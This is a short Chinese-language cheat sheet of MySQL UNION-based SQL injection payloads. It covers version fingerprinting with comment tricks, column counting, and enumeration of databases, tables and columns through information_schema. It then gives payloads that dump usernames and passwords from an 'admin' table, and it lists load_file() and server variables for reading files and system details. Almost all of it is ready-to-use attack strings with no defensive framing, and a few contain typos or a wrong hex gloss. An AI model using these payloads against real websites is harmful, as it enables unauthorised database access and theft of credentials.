判断是否为Mysql
/*!%20s*/ 错误则是MySQL
/*!40000%20s*/ 错误则版本大于4.0 (大于4.0支持UNION注入)
/*!60000%20s*/ 正常则版本小于6.0
/*!50130%20s*/ 错误则版本是5.1.30
通过联合查询注入的注入方法,查询information_schema(信息数据库),保存着关于Mysql服务器维护的所有其他的数据库的信息
如:数据库名字,表名,数据类型,访问权限等。
1.判断数据库字段长度
id=1/**/Order/**/By/**/10/**/-- 正常则字段数>10
id=1/**/Order/**/By/**/12/**/-- 错误则字段数<12
2.枚举数据库名字
And 1=2 Union Select 1,SCHEMA_NAME from information_schema.SCHEMATA limit 0,1
And 1=2 Union Select 1,SCHEMA_NAME from information_schema.SCHEMATA limit 1,2..........
3.判断数据类型
d=1/**/union/**/all/**/select/**/NULL,NULL 正常
d=1/**/union/**/all/**/select/**/NULL,‘xx’-- 正常
4.当前数据库名字
and 1=2 union select 1,database()--,null,null---
5.查表名字
and 1=2 union select 1,group_concat(table_name) from information_schema.tables wheretable_schema=0x7068707a72--
table_schema=后面是库名的 16 进制
6.查段名字
and 1=2 union select 1,COLUMN_NAME from information_schema.COLUMNS where table_name=0x61646d696e and table_schema=0x7068707a72 limit 0,1--
0x61646d696e 表名 admin
0x7068707a72 库名 ph
and 1=2 union select 1,COLUMN_NAME from information_schema.COLUMNS where table_name=0x61646d696e and table_schema=0x7068707a72 l limit 1,2--
7.查字段内容
and 1=2 union select 1,concat(id,0x3c62723e,username,0x3c62723e,password) from admin--
从 admin 表中查询字段名为 id、 username、 password 值的记录
and 1=2 union select 1,concat(id,0x3c62723e,username,0x3c62723e,password) from admin where id=1--
从 admin 表中查询 id 字段内容为 1 的行, username 和 password 的字段值。
8.查看数据库基本信息
and 1=2 union select 1,database(),version(),user()
current_user() 当前用户名
version() MySQL 数据库版本
system_user() 系统用户名
user() 用户名
session_user() 连接数据库的用户名
database() 数据库名
load_file() MySQL 读文件(需 root 权限)
@@datadir MySQL 库文件路径
@@basedir MySQL 安装路径
@@version_compile_os 操作系统